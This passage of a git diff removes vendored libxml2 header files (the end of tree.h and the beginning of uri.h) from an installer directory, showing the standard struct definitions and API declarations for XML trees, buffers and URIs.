/* next sibling link */ - struct _xmlAttr *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - xmlNs *ns; /* pointer to the associated namespace */ - xmlAttributeType atype; /* the attribute type if validating */ - void *psvi; /* for type/PSVI informations */ -}; - -/** - * xmlID: - * - * An XML ID instance. - */ - -typedef struct _xmlID xmlID; -typedef xmlID *xmlIDPtr; -struct _xmlID { - struct _xmlID *next; /* next ID */ - const xmlChar *value; /* The ID name */ - xmlAttrPtr attr; /* The attribute holding it */ - const xmlChar *name; /* The attribute if attr is not available */ - int lineno; /* The line number if attr is not available */ - struct _xmlDoc *doc; /* The document holding the ID */ -}; - -/** - * xmlRef: - * - * An XML IDREF instance. - */ - -typedef struct _xmlRef xmlRef; -typedef xmlRef *xmlRefPtr; -struct _xmlRef { - struct _xmlRef *next; /* next Ref */ - const xmlChar *value; /* The Ref name */ - xmlAttrPtr attr; /* The attribute holding it */ - const xmlChar *name; /* The attribute if attr is not available */ - int lineno; /* The line number if attr is not available */ -}; - -/** - * xmlNode: - * - * A node in an XML tree. - */ -typedef struct _xmlNode xmlNode; -typedef xmlNode *xmlNodePtr; -struct _xmlNode { - void *_private; /* application data */ - xmlElementType type; /* type number, must be second ! */ - const xmlChar *name; /* the name of the node, or the entity */ - struct _xmlNode *children; /* parent->childs link */ - struct _xmlNode *last; /* last child link */ - struct _xmlNode *parent; /* child->parent link */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - /* End of common part */ - xmlNs *ns; /* pointer to the associated namespace */ - xmlChar *content; /* the content */ - struct _xmlAttr *properties;/* properties list */ - xmlNs *nsDef; /* namespace definitions on this node */ - void *psvi; /* for type/PSVI informations */ - unsigned short line; /* line number */ - unsigned short extra; /* extra data for XPath/XSLT */ -}; - -/** - * XML_GET_CONTENT: - * - * Macro to extract the content pointer of a node. - */ -#define XML_GET_CONTENT(n) \ - ((n)->type == XML_ELEMENT_NODE ? NULL : (n)->content) - -/** - * XML_GET_LINE: - * - * Macro to extract the line number of an element node. - */ -#define XML_GET_LINE(n) \ - (xmlGetLineNo(n)) - -/** - * xmlDocProperty - * - * Set of properties of the document as found by the parser - * Some of them are linked to similary named xmlParserOption - */ -typedef enum { - XML_DOC_WELLFORMED = 1<<0, /* document is XML well formed */ - XML_DOC_NSVALID = 1<<1, /* document is Namespace valid */ - XML_DOC_OLD10 = 1<<2, /* parsed with old XML-1.0 parser */ - XML_DOC_DTDVALID = 1<<3, /* DTD validation was successful */ - XML_DOC_XINCLUDE = 1<<4, /* XInclude substitution was done */ - XML_DOC_USERBUILT = 1<<5, /* Document was built using the API - and not by parsing an instance */ - XML_DOC_INTERNAL = 1<<6, /* built for internal processing */ - XML_DOC_HTML = 1<<7 /* parsed or built HTML document */ -} xmlDocProperties; - -/** - * xmlDoc: - * - * An XML document. - */ -typedef struct _xmlDoc xmlDoc; -typedef xmlDoc *xmlDocPtr; -struct _xmlDoc { - void *_private; /* application data */ - xmlElementType type; /* XML_DOCUMENT_NODE, must be second ! */ - char *name; /* name/filename/URI of the document */ - struct _xmlNode *children; /* the document tree */ - struct _xmlNode *last; /* last child link */ - struct _xmlNode *parent; /* child->parent link */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* autoreference to itself */ - - /* End of common part */ - int compression;/* level of zlib compression */ - int standalone; /* standalone document (no external refs) - 1 if standalone="yes" - 0 if standalone="no" - -1 if there is no XML declaration - -2 if there is an XML declaration, but no - standalone attribute was specified */ - struct _xmlDtd *intSubset; /* the document internal subset */ - struct _xmlDtd *extSubset; /* the document external subset */ - struct _xmlNs *oldNs; /* Global namespace, the old way */ - const xmlChar *version; /* the XML version string */ - const xmlChar *encoding; /* external initial encoding, if any */ - void *ids; /* Hash table for ID attributes if any */ - void *refs; /* Hash table for IDREFs attributes if any */ - const xmlChar *URL; /* The URI for that document */ - int charset; /* encoding of the in-memory content - actually an xmlCharEncoding */ - struct _xmlDict *dict; /* dict used to allocate names or NULL */ - void *psvi; /* for type/PSVI informations */ - int parseFlags; /* set of xmlParserOption used to parse the - document */ - int properties; /* set of xmlDocProperties for this document - set at the end of parsing */ -}; - - -typedef struct _xmlDOMWrapCtxt xmlDOMWrapCtxt; -typedef xmlDOMWrapCtxt *xmlDOMWrapCtxtPtr; - -/** - * xmlDOMWrapAcquireNsFunction: - * @ctxt: a DOM wrapper context - * @node: the context node (element or attribute) - * @nsName: the requested namespace name - * @nsPrefix: the requested namespace prefix - * - * A function called to acquire namespaces (xmlNs) from the wrapper. - * - * Returns an xmlNsPtr or NULL in case of an error. - */ -typedef xmlNsPtr (*xmlDOMWrapAcquireNsFunction) (xmlDOMWrapCtxtPtr ctxt, - xmlNodePtr node, - const xmlChar *nsName, - const xmlChar *nsPrefix); - -/** - * xmlDOMWrapCtxt: - * - * Context for DOM wrapper-operations. - */ -struct _xmlDOMWrapCtxt { - void * _private; - /* - * The type of this context, just in case we need specialized - * contexts in the future. - */ - int type; - /* - * Internal namespace map used for various operations. - */ - void * namespaceMap; - /* - * Use this one to acquire an xmlNsPtr intended for node->ns. - * (Note that this is not intended for elem->nsDef). - */ - xmlDOMWrapAcquireNsFunction getNsForNodeFunc; -}; - -/** - * xmlChildrenNode: - * - * Macro for compatibility naming layer with libxml1. Maps - * to "children." - */ -#ifndef xmlChildrenNode -#define xmlChildrenNode children -#endif - -/** - * xmlRootNode: - * - * Macro for compatibility naming layer with libxml1. Maps - * to "children". - */ -#ifndef xmlRootNode -#define xmlRootNode children -#endif - -/* - * Variables. - */ - -/* - * Some helper functions - */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XPATH_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_DEBUG_ENABLED) || \ - defined (LIBXML_HTML_ENABLED) || defined(LIBXML_SAX1_ENABLED) || \ - defined(LIBXML_HTML_ENABLED) || defined(LIBXML_WRITER_ENABLED) || \ - defined(LIBXML_DOCB_ENABLED) || defined(LIBXML_LEGACY_ENABLED) -XMLPUBFUN int XMLCALL - xmlValidateNCName (const xmlChar *value, - int space); -#endif - -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN int XMLCALL - xmlValidateQName (const xmlChar *value, - int space); -XMLPUBFUN int XMLCALL - xmlValidateName (const xmlChar *value, - int space); -XMLPUBFUN int XMLCALL - xmlValidateNMToken (const xmlChar *value, - int space); -#endif - -XMLPUBFUN xmlChar * XMLCALL - xmlBuildQName (const xmlChar *ncname, - const xmlChar *prefix, - xmlChar *memory, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlSplitQName2 (const xmlChar *name, - xmlChar **prefix); -XMLPUBFUN const xmlChar * XMLCALL - xmlSplitQName3 (const xmlChar *name, - int *len); - -/* - * Handling Buffers, the old ones see @xmlBuf for the new ones. - */ - -XMLPUBFUN void XMLCALL - xmlSetBufferAllocationScheme(xmlBufferAllocationScheme scheme); -XMLPUBFUN xmlBufferAllocationScheme XMLCALL - xmlGetBufferAllocationScheme(void); - -XMLPUBFUN xmlBufferPtr XMLCALL - xmlBufferCreate (void); -XMLPUBFUN xmlBufferPtr XMLCALL - xmlBufferCreateSize (size_t size); -XMLPUBFUN xmlBufferPtr XMLCALL - xmlBufferCreateStatic (void *mem, - size_t size); -XMLPUBFUN int XMLCALL - xmlBufferResize (xmlBufferPtr buf, - unsigned int size); -XMLPUBFUN void XMLCALL - xmlBufferFree (xmlBufferPtr buf); -XMLPUBFUN int XMLCALL - xmlBufferDump (FILE *file, - xmlBufferPtr buf); -XMLPUBFUN int XMLCALL - xmlBufferAdd (xmlBufferPtr buf, - const xmlChar *str, - int len); -XMLPUBFUN int XMLCALL - xmlBufferAddHead (xmlBufferPtr buf, - const xmlChar *str, - int len); -XMLPUBFUN int XMLCALL - xmlBufferCat (xmlBufferPtr buf, - const xmlChar *str); -XMLPUBFUN int XMLCALL - xmlBufferCCat (xmlBufferPtr buf, - const char *str); -XMLPUBFUN int XMLCALL - xmlBufferShrink (xmlBufferPtr buf, - unsigned int len); -XMLPUBFUN int XMLCALL - xmlBufferGrow (xmlBufferPtr buf, - unsigned int len); -XMLPUBFUN void XMLCALL - xmlBufferEmpty (xmlBufferPtr buf); -XMLPUBFUN const xmlChar* XMLCALL - xmlBufferContent (const xmlBuffer *buf); -XMLPUBFUN xmlChar* XMLCALL - xmlBufferDetach (xmlBufferPtr buf); -XMLPUBFUN void XMLCALL - xmlBufferSetAllocationScheme(xmlBufferPtr buf, - xmlBufferAllocationScheme scheme); -XMLPUBFUN int XMLCALL - xmlBufferLength (const xmlBuffer *buf); - -/* - * Creating/freeing new structures. - */ -XMLPUBFUN xmlDtdPtr XMLCALL - xmlCreateIntSubset (xmlDocPtr doc, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlDtdPtr XMLCALL - xmlNewDtd (xmlDocPtr doc, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlDtdPtr XMLCALL - xmlGetIntSubset (const xmlDoc *doc); -XMLPUBFUN void XMLCALL - xmlFreeDtd (xmlDtdPtr cur); -#ifdef LIBXML_LEGACY_ENABLED -XMLPUBFUN xmlNsPtr XMLCALL - xmlNewGlobalNs (xmlDocPtr doc, - const xmlChar *href, - const xmlChar *prefix); -#endif /* LIBXML_LEGACY_ENABLED */ -XMLPUBFUN xmlNsPtr XMLCALL - xmlNewNs (xmlNodePtr node, - const xmlChar *href, - const xmlChar *prefix); -XMLPUBFUN void XMLCALL - xmlFreeNs (xmlNsPtr cur); -XMLPUBFUN void XMLCALL - xmlFreeNsList (xmlNsPtr cur); -XMLPUBFUN xmlDocPtr XMLCALL - xmlNewDoc (const xmlChar *version); -XMLPUBFUN void XMLCALL - xmlFreeDoc (xmlDocPtr cur); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlNewDocProp (xmlDocPtr doc, - const xmlChar *name, - const xmlChar *value); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_HTML_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN xmlAttrPtr XMLCALL - xmlNewProp (xmlNodePtr node, - const xmlChar *name, - const xmlChar *value); -#endif -XMLPUBFUN xmlAttrPtr XMLCALL - xmlNewNsProp (xmlNodePtr node, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *value); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlNewNsPropEatName (xmlNodePtr node, - xmlNsPtr ns, - xmlChar *name, - const xmlChar *value); -XMLPUBFUN void XMLCALL - xmlFreePropList (xmlAttrPtr cur); -XMLPUBFUN void XMLCALL - xmlFreeProp (xmlAttrPtr cur); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlCopyProp (xmlNodePtr target, - xmlAttrPtr cur); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlCopyPropList (xmlNodePtr target, - xmlAttrPtr cur); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlDtdPtr XMLCALL - xmlCopyDtd (xmlDtdPtr dtd); -#endif /* LIBXML_TREE_ENABLED */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN xmlDocPtr XMLCALL - xmlCopyDoc (xmlDocPtr doc, - int recursive); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) */ -/* - * Creating new nodes. - */ -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocNode (xmlDocPtr doc, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocNodeEatName (xmlDocPtr doc, - xmlNsPtr ns, - xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewNode (xmlNsPtr ns, - const xmlChar *name); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewNodeEatName (xmlNsPtr ns, - xmlChar *name); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewChild (xmlNodePtr parent, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *content); -#endif -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocText (const xmlDoc *doc, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewText (const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocPI (xmlDocPtr doc, - const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewPI (const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocTextLen (xmlDocPtr doc, - const xmlChar *content, - int len); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewTextLen (const xmlChar *content, - int len); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocComment (xmlDocPtr doc, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewComment (const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewCDataBlock (xmlDocPtr doc, - const xmlChar *content, - int len); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewCharRef (xmlDocPtr doc, - const xmlChar *name); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewReference (const xmlDoc *doc, - const xmlChar *name); -XMLPUBFUN xmlNodePtr XMLCALL - xmlCopyNode (xmlNodePtr node, - int recursive); -XMLPUBFUN xmlNodePtr XMLCALL - xmlDocCopyNode (xmlNodePtr node, - xmlDocPtr doc, - int recursive); -XMLPUBFUN xmlNodePtr XMLCALL - xmlDocCopyNodeList (xmlDocPtr doc, - xmlNodePtr node); -XMLPUBFUN xmlNodePtr XMLCALL - xmlCopyNodeList (xmlNodePtr node); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewTextChild (xmlNodePtr parent, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocRawNode (xmlDocPtr doc, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocFragment (xmlDocPtr doc); -#endif /* LIBXML_TREE_ENABLED */ - -/* - * Navigating. - */ -XMLPUBFUN long XMLCALL - xmlGetLineNo (const xmlNode *node); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_DEBUG_ENABLED) -XMLPUBFUN xmlChar * XMLCALL - xmlGetNodePath (const xmlNode *node); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_DEBUG_ENABLED) */ -XMLPUBFUN xmlNodePtr XMLCALL - xmlDocGetRootElement (const xmlDoc *doc); -XMLPUBFUN xmlNodePtr XMLCALL - xmlGetLastChild (const xmlNode *parent); -XMLPUBFUN int XMLCALL - xmlNodeIsText (const xmlNode *node); -XMLPUBFUN int XMLCALL - xmlIsBlankNode (const xmlNode *node); - -/* - * Changing the structure. - */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) -XMLPUBFUN xmlNodePtr XMLCALL - xmlDocSetRootElement (xmlDocPtr doc, - xmlNodePtr root); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) */ -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN void XMLCALL - xmlNodeSetName (xmlNodePtr cur, - const xmlChar *name); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddChild (xmlNodePtr parent, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddChildList (xmlNodePtr parent, - xmlNodePtr cur); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) -XMLPUBFUN xmlNodePtr XMLCALL - xmlReplaceNode (xmlNodePtr old, - xmlNodePtr cur); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_HTML_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddPrevSibling (xmlNodePtr cur, - xmlNodePtr elem); -#endif /* LIBXML_TREE_ENABLED || LIBXML_HTML_ENABLED || LIBXML_SCHEMAS_ENABLED */ -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddSibling (xmlNodePtr cur, - xmlNodePtr elem); -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddNextSibling (xmlNodePtr cur, - xmlNodePtr elem); -XMLPUBFUN void XMLCALL - xmlUnlinkNode (xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL - xmlTextMerge (xmlNodePtr first, - xmlNodePtr second); -XMLPUBFUN int XMLCALL - xmlTextConcat (xmlNodePtr node, - const xmlChar *content, - int len); -XMLPUBFUN void XMLCALL - xmlFreeNodeList (xmlNodePtr cur); -XMLPUBFUN void XMLCALL - xmlFreeNode (xmlNodePtr cur); -XMLPUBFUN void XMLCALL - xmlSetTreeDoc (xmlNodePtr tree, - xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlSetListDoc (xmlNodePtr list, - xmlDocPtr doc); -/* - * Namespaces. - */ -XMLPUBFUN xmlNsPtr XMLCALL - xmlSearchNs (xmlDocPtr doc, - xmlNodePtr node, - const xmlChar *nameSpace); -XMLPUBFUN xmlNsPtr XMLCALL - xmlSearchNsByHref (xmlDocPtr doc, - xmlNodePtr node, - const xmlChar *href); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XPATH_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN xmlNsPtr * XMLCALL - xmlGetNsList (const xmlDoc *doc, - const xmlNode *node); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XPATH_ENABLED) */ - -XMLPUBFUN void XMLCALL - xmlSetNs (xmlNodePtr node, - xmlNsPtr ns); -XMLPUBFUN xmlNsPtr XMLCALL - xmlCopyNamespace (xmlNsPtr cur); -XMLPUBFUN xmlNsPtr XMLCALL - xmlCopyNamespaceList (xmlNsPtr cur); - -/* - * Changing the content. - */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_HTML_ENABLED) -XMLPUBFUN xmlAttrPtr XMLCALL - xmlSetProp (xmlNodePtr node, - const xmlChar *name, - const xmlChar *value); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlSetNsProp (xmlNodePtr node, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *value); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_HTML_ENABLED) */ -XMLPUBFUN xmlChar * XMLCALL - xmlGetNoNsProp (const xmlNode *node, - const xmlChar *name); -XMLPUBFUN xmlChar * XMLCALL - xmlGetProp (const xmlNode *node, - const xmlChar *name); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlHasProp (const xmlNode *node, - const xmlChar *name); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlHasNsProp (const xmlNode *node, - const xmlChar *name, - const xmlChar *nameSpace); -XMLPUBFUN xmlChar * XMLCALL - xmlGetNsProp (const xmlNode *node, - const xmlChar *name, - const xmlChar *nameSpace); -XMLPUBFUN xmlNodePtr XMLCALL - xmlStringGetNodeList (const xmlDoc *doc, - const xmlChar *value); -XMLPUBFUN xmlNodePtr XMLCALL - xmlStringLenGetNodeList (const xmlDoc *doc, - const xmlChar *value, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlNodeListGetString (xmlDocPtr doc, - const xmlNode *list, - int inLine); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlChar * XMLCALL - xmlNodeListGetRawString (const xmlDoc *doc, - const xmlNode *list, - int inLine); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlNodeSetContent (xmlNodePtr cur, - const xmlChar *content); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN void XMLCALL - xmlNodeSetContentLen (xmlNodePtr cur, - const xmlChar *content, - int len); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlNodeAddContent (xmlNodePtr cur, - const xmlChar *content); -XMLPUBFUN void XMLCALL - xmlNodeAddContentLen (xmlNodePtr cur, - const xmlChar *content, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlNodeGetContent (const xmlNode *cur); - -XMLPUBFUN int XMLCALL - xmlNodeBufGetContent (xmlBufferPtr buffer, - const xmlNode *cur); -XMLPUBFUN int XMLCALL - xmlBufGetNodeContent (xmlBufPtr buf, - const xmlNode *cur); - -XMLPUBFUN xmlChar * XMLCALL - xmlNodeGetLang (const xmlNode *cur); -XMLPUBFUN int XMLCALL - xmlNodeGetSpacePreserve (const xmlNode *cur); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN void XMLCALL - xmlNodeSetLang (xmlNodePtr cur, - const xmlChar *lang); -XMLPUBFUN void XMLCALL - xmlNodeSetSpacePreserve (xmlNodePtr cur, - int val); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN xmlChar * XMLCALL - xmlNodeGetBase (const xmlDoc *doc, - const xmlNode *cur); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) -XMLPUBFUN void XMLCALL - xmlNodeSetBase (xmlNodePtr cur, - const xmlChar *uri); -#endif - -/* - * Removing content. - */ -XMLPUBFUN int XMLCALL - xmlRemoveProp (xmlAttrPtr cur); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN int XMLCALL - xmlUnsetNsProp (xmlNodePtr node, - xmlNsPtr ns, - const xmlChar *name); -XMLPUBFUN int XMLCALL - xmlUnsetProp (xmlNodePtr node, - const xmlChar *name); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) */ - -/* - * Internal, don't use. - */ -XMLPUBFUN void XMLCALL - xmlBufferWriteCHAR (xmlBufferPtr buf, - const xmlChar *string); -XMLPUBFUN void XMLCALL - xmlBufferWriteChar (xmlBufferPtr buf, - const char *string); -XMLPUBFUN void XMLCALL - xmlBufferWriteQuotedString(xmlBufferPtr buf, - const xmlChar *string); - -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void xmlAttrSerializeTxtContent(xmlBufferPtr buf, - xmlDocPtr doc, - xmlAttrPtr attr, - const xmlChar *string); -#endif /* LIBXML_OUTPUT_ENABLED */ - -#ifdef LIBXML_TREE_ENABLED -/* - * Namespace handling. - */ -XMLPUBFUN int XMLCALL - xmlReconciliateNs (xmlDocPtr doc, - xmlNodePtr tree); -#endif - -#ifdef LIBXML_OUTPUT_ENABLED -/* - * Saving. - */ -XMLPUBFUN void XMLCALL - xmlDocDumpFormatMemory (xmlDocPtr cur, - xmlChar **mem, - int *size, - int format); -XMLPUBFUN void XMLCALL - xmlDocDumpMemory (xmlDocPtr cur, - xmlChar **mem, - int *size); -XMLPUBFUN void XMLCALL - xmlDocDumpMemoryEnc (xmlDocPtr out_doc, - xmlChar **doc_txt_ptr, - int * doc_txt_len, - const char *txt_encoding); -XMLPUBFUN void XMLCALL - xmlDocDumpFormatMemoryEnc(xmlDocPtr out_doc, - xmlChar **doc_txt_ptr, - int * doc_txt_len, - const char *txt_encoding, - int format); -XMLPUBFUN int XMLCALL - xmlDocFormatDump (FILE *f, - xmlDocPtr cur, - int format); -XMLPUBFUN int XMLCALL - xmlDocDump (FILE *f, - xmlDocPtr cur); -XMLPUBFUN void XMLCALL - xmlElemDump (FILE *f, - xmlDocPtr doc, - xmlNodePtr cur); -XMLPUBFUN int XMLCALL - xmlSaveFile (const char *filename, - xmlDocPtr cur); -XMLPUBFUN int XMLCALL - xmlSaveFormatFile (const char *filename, - xmlDocPtr cur, - int format); -XMLPUBFUN size_t XMLCALL - xmlBufNodeDump (xmlBufPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - int level, - int format); -XMLPUBFUN int XMLCALL - xmlNodeDump (xmlBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - int level, - int format); - -XMLPUBFUN int XMLCALL - xmlSaveFileTo (xmlOutputBufferPtr buf, - xmlDocPtr cur, - const char *encoding); -XMLPUBFUN int XMLCALL - xmlSaveFormatFileTo (xmlOutputBufferPtr buf, - xmlDocPtr cur, - const char *encoding, - int format); -XMLPUBFUN void XMLCALL - xmlNodeDumpOutput (xmlOutputBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - int level, - int format, - const char *encoding); - -XMLPUBFUN int XMLCALL - xmlSaveFormatFileEnc (const char *filename, - xmlDocPtr cur, - const char *encoding, - int format); - -XMLPUBFUN int XMLCALL - xmlSaveFileEnc (const char *filename, - xmlDocPtr cur, - const char *encoding); - -#endif /* LIBXML_OUTPUT_ENABLED */ -/* - * XHTML - */ -XMLPUBFUN int XMLCALL - xmlIsXHTML (const xmlChar *systemID, - const xmlChar *publicID); - -/* - * Compression. - */ -XMLPUBFUN int XMLCALL - xmlGetDocCompressMode (const xmlDoc *doc); -XMLPUBFUN void XMLCALL - xmlSetDocCompressMode (xmlDocPtr doc, - int mode); -XMLPUBFUN int XMLCALL - xmlGetCompressMode (void); -XMLPUBFUN void XMLCALL - xmlSetCompressMode (int mode); - -/* -* DOM-wrapper helper functions. -*/ -XMLPUBFUN xmlDOMWrapCtxtPtr XMLCALL - xmlDOMWrapNewCtxt (void); -XMLPUBFUN void XMLCALL - xmlDOMWrapFreeCtxt (xmlDOMWrapCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlDOMWrapReconcileNamespaces(xmlDOMWrapCtxtPtr ctxt, - xmlNodePtr elem, - int options); -XMLPUBFUN int XMLCALL - xmlDOMWrapAdoptNode (xmlDOMWrapCtxtPtr ctxt, - xmlDocPtr sourceDoc, - xmlNodePtr node, - xmlDocPtr destDoc, - xmlNodePtr destParent, - int options); -XMLPUBFUN int XMLCALL - xmlDOMWrapRemoveNode (xmlDOMWrapCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr node, - int options); -XMLPUBFUN int XMLCALL - xmlDOMWrapCloneNode (xmlDOMWrapCtxtPtr ctxt, - xmlDocPtr sourceDoc, - xmlNodePtr node, - xmlNodePtr *clonedNode, - xmlDocPtr destDoc, - xmlNodePtr destParent, - int deep, - int options); - -#ifdef LIBXML_TREE_ENABLED -/* - * 5 interfaces from DOM ElementTraversal, but different in entities - * traversal. - */ -XMLPUBFUN unsigned long XMLCALL - xmlChildElementCount (xmlNodePtr parent); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNextElementSibling (xmlNodePtr node); -XMLPUBFUN xmlNodePtr XMLCALL - xmlFirstElementChild (xmlNodePtr parent); -XMLPUBFUN xmlNodePtr XMLCALL - xmlLastElementChild (xmlNodePtr parent); -XMLPUBFUN xmlNodePtr XMLCALL - xmlPreviousElementSibling (xmlNodePtr node); -#endif -#ifdef __cplusplus -} -#endif -#ifndef __XML_PARSER_H__ -#include -#endif - -#endif /* __XML_TREE_H__ */ - diff --git a/installer/libxml2/include/libxml/uri.h b/installer/libxml2/include/libxml/uri.h deleted file mode 100644 index db48262..0000000 --- a/installer/libxml2/include/libxml/uri.h +++ /dev/null @@ -1,94 +0,0 @@ -/** - * Summary: library of generic URI related routines - * Description: library of generic URI related routines - * Implements RFC 2396 - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_URI_H__ -#define __XML_URI_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlURI: - * - * A parsed URI reference. This is a struct containing the various fields - * as described in RFC 2396 but separated for further processing. - * - * Note: query is a deprecated field which is incorrectly unescaped. - * query_raw takes precedence over query if the former is set. - * See: http://mail.gnome.org/archives/xml/2007-April/thread.html#00127 - */ -typedef struct _xmlURI xmlURI; -typedef xmlURI *xmlURIPtr; -struct _xmlURI { - char *scheme; /* the URI scheme */ - char *opaque; /* opaque part */ - char *authority; /* the authority part */ - char *server; /* the server part */ - char *user; /* the user part */ - int port; /* the port number */ - char *path; /* the path string */ - char *query; /* the query string (deprecated - use with caution) */ - char *fragment; /* the fragment identifier */ - int cleanup; /* parsing potentially unclean URI */ - char *query_raw; /* the query string (as it appears in the URI) */ -}; - -/* - * This function is in tree.h: - * xmlChar * xmlNodeGetBase (xmlDocPtr doc, - * xmlNodePtr cur); - */ -XMLPUBFUN xmlURIPtr XMLCALL - xmlCreateURI (void); -XMLPUBFUN xmlChar * XMLCALL - xmlBuildURI (const xmlChar *URI, - const xmlChar *base); -XMLPUBFUN xmlChar * XMLCALL - xmlBuildRelativeURI (const xmlChar *URI, - const xmlChar *base); -XMLPUBFUN xmlURIPtr XMLCALL - xmlParseURI (const char *str); -XMLPUBFUN xmlURIPtr XMLCALL - xmlParseURIRaw (const char *str, - int raw); -XMLPUBFUN int XMLCALL - xmlParseURIReference (xmlURIPtr uri, - const char *str); -XMLPUBFUN xmlChar * XMLCALL - xmlSaveUri (xmlURIPtr uri); -XMLPUBFUN void XMLCALL - xmlPrintURI (FILE *stream, - xmlURIPtr uri); -XMLPUBFUN xmlChar * XMLCALL - xmlURIEscapeStr (const xmlChar *str, - 